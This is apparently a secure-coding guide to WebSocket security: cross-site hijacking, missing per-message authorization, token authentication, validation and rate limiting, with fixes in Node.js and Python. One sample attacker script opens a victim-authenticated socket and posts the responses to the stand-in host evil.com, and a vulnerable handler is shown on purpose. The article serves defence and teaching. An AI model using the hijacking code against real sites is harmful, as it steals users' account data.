WebSocket connections start as HTTP, complete an upgrade handshake, and then become a persistent bidirectional channel that bypasses most of the browser’s normal security machinery. No same-origin policy enforcement after the handshake. No CORS. Cookies are still sent — which is where the problems start.
As real-time features have become standard — live dashboards, collaborative editing, notifications, trading platforms — WebSocket endpoints have multiplied in codebases that don’t always apply the same scrutiny to them that they would to a REST API.
Cross-Site WebSocket Hijacking (CSWSH)
CSWSH is the WebSocket equivalent of CSRF. An attacker-controlled page initiates a WebSocket connection to your application server. The browser sends cookies with the handshake. If your server doesn’t validate the Origin header, the connection succeeds and the attacker’s page can send messages and receive responses as the victim user.
The Attack
// Attacker's page (evil.com) — victim visits this while logged into target.com
const ws = new WebSocket('wss://target.com/api/ws');
ws.onopen = () => {
// Authenticated as the victim — their cookies were sent with the handshake
ws.send(JSON.stringify({ action: 'get_account_details' }));
};
ws.onmessage = (event) => {
// Exfiltrate the response to attacker infrastructure
fetch('https://evil.com/collect', {
method: 'POST',
body: event.data
});
};
The browser sends Cookie headers during the WebSocket handshake because the origin of the JS is evil.com, but the target of the connection is target.com — so cookies scoped to target.com are included.
Prevention: Origin Header Validation
// Node.js — ws library
const WebSocket = require('ws');
const ALLOWED_ORIGINS = [
'https://target.com',
'https://app.target.com'
];
const wss = new WebSocket.Server({
port: 8080,
verifyClient: (info) => {
const origin = info.origin;
if (!ALLOWED_ORIGINS.includes(origin)) {
console.warn(`Rejected WebSocket from origin: ${origin}`);
return false; // Reject the upgrade
}
return true;
}
});
# Python — FastAPI with websockets
from fastapi import WebSocket, WebSocketDisconnect, HTTPException
from fastapi.websockets import WebSocketState
ALLOWED_ORIGINS = {"https://target.com", "https://app.target.com"}
@app.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket):
origin = websocket.headers.get("origin", "")
if origin not in ALLOWED_ORIGINS:
await websocket.close(code=4003)
return
await websocket.accept()
# ... handle connection
Don’t rely on Origin alone for security-critical actions. The Origin header is browser-enforced, but non-browser clients can set any value. Combine origin validation with token-based authentication.
Authorization Bypass: The Authentication Gap
A common vulnerability pattern: the WebSocket connection is established after an HTTP-based login, but the server only checks authentication at connection time, not on individual messages. Or worse — it checks only that a cookie exists, without verifying that the cookie belongs to a user with permission to perform the requested action.
Vulnerable Pattern
// Vulnerable — authenticates connection but not individual message actions
wss.on('connection', (ws, req) => {
const session = getSessionFromCookie(req.headers.cookie);
if (!session) {
ws.close();
return;
}
ws.on('message', (data) => {
const message = JSON.parse(data);
// ❌ No authorization check — any authenticated user can do anything
if (message.action === 'admin_delete_user') {
deleteUser(message.userId);
}
if (message.action === 'get_other_user_data') {
// ❌ No ownership check — any user can request any user's data
const userData = getUserData(message.targetUserId);
ws.send(JSON.stringify(userData));
}
});
});
Secure Pattern
// Secure — per-message authorization
wss.on('connection', (ws, req) => {
const session = getSessionFromCookie(req.headers.cookie);
if (!session || !session.userId) {
ws.close(1008, 'Unauthorized');
return;
}
const authenticatedUserId = session.userId;
const userRole = session.role;
ws.on('message', async (data) => {
let message;
try {
message = JSON.parse(data);
} catch {
ws.send(JSON.stringify({ error: 'Invalid message format' }));
return;
}
// ✅ Check authorization for each action
if (message.action === 'admin_delete_user') {
if (userRole !== 'admin') {
ws.send(JSON.stringify({ error: 'Forbidden' }));
return;
}
await deleteUser(message.userId);
}
if (message.action === 'get_user_data') {
// ✅ Ownership check — users can only access their own data
if (message.targetUserId !== authenticatedUserId && userRole !== 'admin') {
ws.send(JSON.stringify({ error: 'Forbidden' }));
return;
}
const userData = await getUserData(message.targetUserId);
ws.send(JSON.stringify(userData));
}
});
});
Token-Based WebSocket Authentication
For SPAs and mobile clients, cookie-based auth for WebSockets is fragile. The cleaner pattern is to pass a short-lived token in the connection URL or as the first message after connection:
// Client — send token in first message after connection
const ws = new WebSocket('wss://target.com/api/ws');
const authToken = getAuthToken(); // JWT from localStorage or httpOnly cookie via /api/token endpoint
ws.onopen = () => {
// First message must be authentication
ws.send(JSON.stringify({
type: 'auth',
token: authToken
}));
};
// Server — require auth message within timeout window
wss.on('connection', (ws) => {
let authenticated = false;
const authTimeout = setTimeout(() => {
if (!authenticated) {
ws.close(1008, 'Authentication timeout');
}
}, 5000); // 5 seconds to authenticate
ws.on('message', async (data) => {
const message = JSON.parse(data);
if (!authenticated) {
if (message.type !== 'auth') {
ws.close(1008, 'Authentication required');
return;
}
try {
const payload = jwt.verify(message.token, process.env.JWT_SECRET);
ws.userId = payload.sub;
ws.userRole = payload.role;
authenticated = true;
clearTimeout(authTimeout);
ws.send(JSON.stringify({ type: 'auth_ok' }));
} catch (err) {
ws.close(1008, 'Invalid token');
}
return;
}
// Handle authenticated messages...
});
});
Message Injection and Input Validation
WebSocket messages are frequently deserialized directly into action handlers. Validate and sanitize every message:
// Input validation middleware for WebSocket messages
function validateMessage(message) {
const schema = {
action: { type: 'string', enum: ['get_data', 'update_profile', 'send_message'] },
payload: { type: 'object' }
};
if (typeof message.action !== 'string' || !schema.action.enum.includes(message.action)) {
throw new Error('Invalid action');
}
// Prevent prototype pollution
if (message.payload && typeof message.payload === 'object') {
if ('__proto__' in message.payload || 'constructor' in message.payload) {
throw new Error('Suspicious payload');
}
}
return true;
}
Rate Limiting
WebSocket endpoints are often exempt from HTTP-level rate limiting middleware. Add message-level rate limiting to prevent abuse:
const messageCounts = new Map();
ws.on('message', (data) => {
const clientId = ws.userId || ws._socket.remoteAddress;
const now = Date.now();
const windowStart = now - 60000; // 1 minute window
if (!messageCounts.has(clientId)) {
messageCounts.set(clientId, []);
}
const timestamps = messageCounts.get(clientId).filter(t => t > windowStart);
timestamps.push(now);
messageCounts.set(clientId, timestamps);
if (timestamps.length > 100) { // 100 messages per minute limit
ws.send(JSON.stringify({ error: 'Rate limit exceeded' }));
return;
}
// Process message...
});
Security Checklist
- Validate the
Originheader on every WebSocket upgrade — reject connections from unexpected origins - Authenticate at the message level, not just at connection time
- Authorise every action — don’t assume connection-level auth covers action-level permission
- Validate and sanitize all incoming message content
- Apply rate limiting to WebSocket message handlers
- Use
wss://(TLS) exclusively — neverws://in production - Set connection timeouts and close idle connections
- Log WebSocket auth failures and unexpected message patterns
WebSocket endpoints are part of your API attack surface. They deserve the same security review process as your REST endpoints — which means they usually need more attention than they’re currently getting.